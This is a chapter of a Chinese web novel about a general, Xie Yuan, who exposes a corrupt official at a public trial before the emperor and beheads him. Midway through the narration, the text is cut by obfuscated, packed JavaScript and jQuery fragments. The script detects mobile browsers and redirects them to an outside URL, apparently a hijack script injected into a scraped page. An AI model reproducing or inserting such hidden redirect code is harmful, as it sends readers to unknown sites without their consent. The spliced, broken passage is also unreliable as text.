17. 第17章 斩杀

镫——


千钧一发之际,一柄长刀横空出现,挡在囚车前,与箭头相撞划拉出一道刺耳的尖锐金属音,火星迸射。


赵成化连呼救声都来不及喊出来,就被不知何时出现的谢媛连人带车一掌推出数丈远。


虽侥幸捡回一条命,但他仍旧被吓得嘴唇不停地哆嗦,双腿颤抖,浑身无力瘫软靠在囚笼柱子上,脸色煞白。


“护驾护驾!”


禁卫军立刻将校场围了起来,校场守军也立刻展开地毯式搜索,搜查刺客。


谢媛盯着手中的箭矢,又看了眼放冷箭的方向,冷冷扫了眼赵成化,便朝皇上走过去。


不过,在离皇上数十步远时被禁军拦住了。


“将军留步!”


她脚步一顿,抬起手中的箭矢,看向皇上,面色沉冷。


“禀皇上,这支暗箭非寻常弓箭,是军器司中研制的特殊弩箭,虽然特意抹去了记号,但对方似乎忘了弩箭的材质与弓箭不太一样。”


谢媛话音刚落,皇上的脸色便黑沉如墨,猛地拍案而起,怒喝道:“胡淮左!”


兵部尚书心中一颤,暗道不好,连忙跪下哭诉起来。


“皇上!不是老臣!纵使皇上借老臣一百个一千个圣胆,老臣也不敢在陛下眼皮子底下行凶啊!”


“那胡大人的意思是,皇上不借你胆,你就敢偷偷摸摸的杀人分尸了?”


谢媛冷嗤一声,兵部尚书顿时一噎,气得脸红脖子粗,指着她道:“谢将军你这是什么意思?空口白牙,诬陷于我,良心何在!”


“军器司的弩箭可都是有编号的,老夫是昏了头才去用它伤人,平白地露出这么大一个破绽吗?”


“这可说不定,兵法有云:虚虚实实,兵无常势。”谢媛将弩箭递到兵部尚书眼前,半蹲着身子继续道,“若是你们故意露破绽,又引导大家去朝着大人方才说得去思索,岂不是可以完美避开刺杀嫌疑?”


“谢玉弧!你这是诡辩之言!你就是存心想把这脏水泼老夫身上,你居心何在??”兵部尚书被刺地也不哭了,涨红了脸呵斥道,“北境兵权你已经拿到手了,难不成你还想拿下兵部吗?”


就差没指着谢媛的鼻子骂她“狼子野心”了!


“够了!胡淮左你给朕闭嘴!”


皇上抄起手边的酒杯猛地砸向兵部尚书,“砰”地一声脆响,酒杯落在兵部尚书身前四分五裂,杯盏中的酒水溅湿了他的衣摆,他缩了缩脖子不敢吭声。


“刑部,大理寺,殿察院,给朕滚出来,两案并审。”


自皇上登基以来,鲜少有怒极之时,百官们纷纷埋头噤声,不禁想起十年前皇帝根基未稳时,因世家权贵之争,导致北境差点兵败、老定北侯身受重伤、平宁郡主殒落,皇上一怒之下连斩贪官污吏数十名,血染玉京。


而这一次,皇上同样盛怒,当场便革去赵成化原有官职及进士功名,与百官和无数百姓一同听审,三司主审官员纷纷心神紧绷,压力巨大。


大理寺卿甚至没忍住擦了擦额头的汗水,他们不敢有任何差池,否则稍有不慎,掉得不是他们头顶的乌纱帽就是他们的项上人头。


“罪犯赵成化,你口口声声说你冤枉你无辜,你还能比北境枉死的数万将士要无辜?”


刑部尚书向来秉公执法,在赵成化押解进京途中,便已搜罗陈列此人的卷宗,厘清大部分因果,并将他查到的有关赵成化的罪证一条条宣之于众。


“私占田产、纵奴行凶、侵吞粮饷、贻误军机等等数不胜数,简直罄竹难书!”


刑部尚书冷脸如冰,盯着匍匐跪到在地的赵成化,仿佛在看一具冰冷的尸体。


“你再来瞧一瞧,”刑部尚书着人将杜仲期的状书贴在赵成化脑门前,他道,“就你有妻儿?你且看看且听听,这些替我们守国门的将士,他们也是有妻儿兄弟老母的,甚至他们出生入死一年到头到手的伍银,都不够二两!”


“咳咳……”大理寺卿清了清嗓子,似乎想提醒刑部尚书什么,刚想开口便被殿察司御史周律打断了,“李大人可是身体不适?”


担心引起皇上注意,大理寺卿老实的闭嘴了,只是不停地用眼神示意下属大理寺少卿说点什么。


大理寺少卿低着头,假装看不见。


刑部尚书没有理会几人的眉眼官司,他走到赵成化跟前,微微弯腰,猝不及防间一脚将他踹倒。


“而你,可耻可恨!勾结奸党,居然连将士们二两血汗银都忍心贪墨!”


这一脚,踢在赵成化心窝,也踢在众人的心上,围观的百姓没忍住拍手称快连声叫好。


谢媛却是眯了眯眼,疾步跨过去,挡在赵成化身前,刑部尚书收回再次抬起的脚,看向她。


“谢将军这是何意?”


谢媛蹲下身子摸了摸赵成化脉象,死不了。她直起身子,朝刑部上去拱手。


“抱歉,三位大人审案我本不该插手,但是我怎么也算是半个苦主。”


顿了顿,谢媛看向刑部尚书,意有所指地继续道:“作为苦主,我希望,赵尚书审案归审案不要擅自动手,还是先听这贼臣如何答话再决定如何动刑。”


“另外,他这条狗命,是我的!谁也不许动!”


谢媛转了转手中的长剑,看向三名主审官,殿御史周律默默后退一步,率先开口:“谢将军言之有理。”


大理寺卿也松了口气,跟着表态:“谢将军说得不错,赵大人,你脾气收敛点,你我是主审,这么多人看着,可不能一时气急了眼诱供,到时候他都是否认翻供起来,那就完了!”


刑部尚书冷眼剐了大理寺卿一眼,对方被他看得浑身不自在避开视线后才收回目光,转向谢媛。


“哼!谢将军是觉得我这一脚踢得不对?”


“不,赵大人踢得好。”谢媛摇了摇头,她再次认真得重复道:“只是,我说过,他的命,是我的!”


谢媛没经历过十年前朝堂的那一场狂风暴雨,也玩不来文官们遮遮掩掩一套。


大哥说过,必须保证赵成化清醒地当众亲口认罪。


两人僵持了一瞬,皇上也没有表态,便是默认了谢媛的行为,刑部尚书同大理寺卿和周律坐了回去,继续问审。


赵成化开始还是只


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156351|164960||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


喊冤求饶,随着一条条铁证被陈列出来,他便渐渐得变得沉默。


最后,周律拿出他与兵部尚书胡淮左的密信,他看了一眼便脸色大变,霎那间惨白不已。


猛地想到什么,他嘴唇哆了哆想要开口,却见周律做了个噤声的手势,似乎知道他在想什么,朝他指了个方向。


赵成化顺着周律手指的方向看过去,兵部尚书身边不知何时被禁卫军围住了。


“完了,完了,哈哈哈哈哈,这次是真完了。”


他整个人跌坐在地,如疯了一般又哭又笑。


“我不明白,为什么,为什么你们手中早有证据不拿出来,为什么要等到现在,就是为了看我的丑态吗?”


赵成化面色骤然变得狰狞起来,似乎想要挣扎着朝周律扑过去,却被谢媛用剑柄按了回去。


“证据?你说这个?”周律扬了扬手中的密信,眯眼笑道,“看来赵大人查到你作奸犯科的那么多证据,都不足以让你低头改口,而这封密信,却能让你如临大敌,想来里面记录的可是能‘诛九族’的大逆不道内容啊!”


听到“诛九族”三字,赵成化面色再次变了变。


周律也收敛了笑容,避开刑部尚书与大理寺卿探究的目光,冷声道:“实话告诉你,这封密信内容我没看过,皇上也没看过,是鹰眼司刚刚送过来的。”


“赵成化,我这么说,你可明白?”


赵成化闭了闭眼,随后跪直身子,朝皇上所在的方向“咚咚咚”磕了三个响头。


“罪臣叩谢皇恩,罪民赵成化认罪。”


他知道,皇上是在给他选择,他若主动认罪,他之族人便可从轻发落。


“罪民勾结兵部尚书胡淮左,为贪墨军饷,故意设计调换粮草,并污蔑一切乃丞相指使,却不料被南蛮黄雀在后。皇上,罪民真的没有通敌卖国,罪民也从来没有想过!罪民罪不可赦,甘愿认罚。”


赵成化对粮草一案罪行供认不讳,又朝皇上“砰砰砰”磕了几个响头。


三司会审决议判处斩立决,皇上准奏。


谢媛再次面向皇上跪下,她双手举起长剑,盖过头顶,大声道:“请皇上允臣以此剑,亲手斩奸臣!”


“皇上,不可!这于法不合!”有朝臣没忍住站出来反驳。


皇上并不理会,而且目光如炬看向谢媛。


“谢媛,你的理由是什么?”


谢媛抬头,目光不躲不避,神色肃然。


“皇上,或许很多人都忘了,今日是我母亲平宁郡主的祭日,但臣一日不敢忘。


“臣手中这把剑,是传自于她,她曾教导臣:为将者,亦是手中握利剑者,可持剑斩敌护佑百姓筑我边野,也可杀贪官污吏肃清内壁。


“臣想,用它来斩杀赵成化,祭我母亲在天之灵,祭军旗里的万千军魂。臣更想,用它来开血刃,震慑潜伏在朝野里的奸小之徒,臣想告诉他们,若谁再敢打我北境兵权粮饷的主意,下场必定如赵成化一般。”


皇上点头:“可,允之!”


话音刚落,谢媛提剑抬手,利落挥斩,瞬间人头落地,血溅校场。